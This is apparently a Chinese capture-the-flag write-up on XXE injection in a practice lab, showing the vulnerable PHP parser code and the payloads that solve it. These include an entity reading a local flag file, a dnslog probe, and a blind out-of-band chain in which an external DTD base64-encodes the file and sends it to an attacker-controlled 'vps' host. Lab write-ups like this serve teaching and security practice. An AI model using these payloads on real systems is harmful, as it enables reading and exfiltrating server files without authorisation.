CTF吧-渗透测试靶场-XXE篇

 第一题

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///tmp/flag.txt">
]>
<demon>&xxe;</demon>

第二题

查看源码

<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);

libxml_disable_entity_loader(false);
//获取post请求的内容
$xmlfile = $_POST['xml'];
//创建一个节点,理论上默认代表跟节点
$dom = new DOMDocument();
// options 中配置代表允许加载外部实体
$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo "<a href='http://www.hacker.wang/xxe/xxx.txt'>查看</a>";

?>

没有漏洞一中的输出 echo $xxe->login;也就是没有回显 

快速判断是否存在XXE漏洞,可以使用dnslog.cn判断:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://oe75pu.dnslog.cn">
]>
<demon><login>&xxe;</login></demon>

 

该题需要使用到vps,没有vps本地搭建再内网穿透也行。在公网服务器建立一个文件xxe.dtd,内容如下,我们来获取目标的/tmp/flag.txt的信息

xee.dtd文件内容:

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///tmp/flag.txt">
<!ENTITY % a "<!ENTITY trick SYSTEM 'http://vps/xxe/xxe.php?xxx=%payload;'>">
%a;

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demon [<!ENTITY % remote SYSTEM "http://vps/xxe/xxe.dtd"> %remote;]>
<demon><xxx> &trick;</xxx> </demon>

在日志中找到flag 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值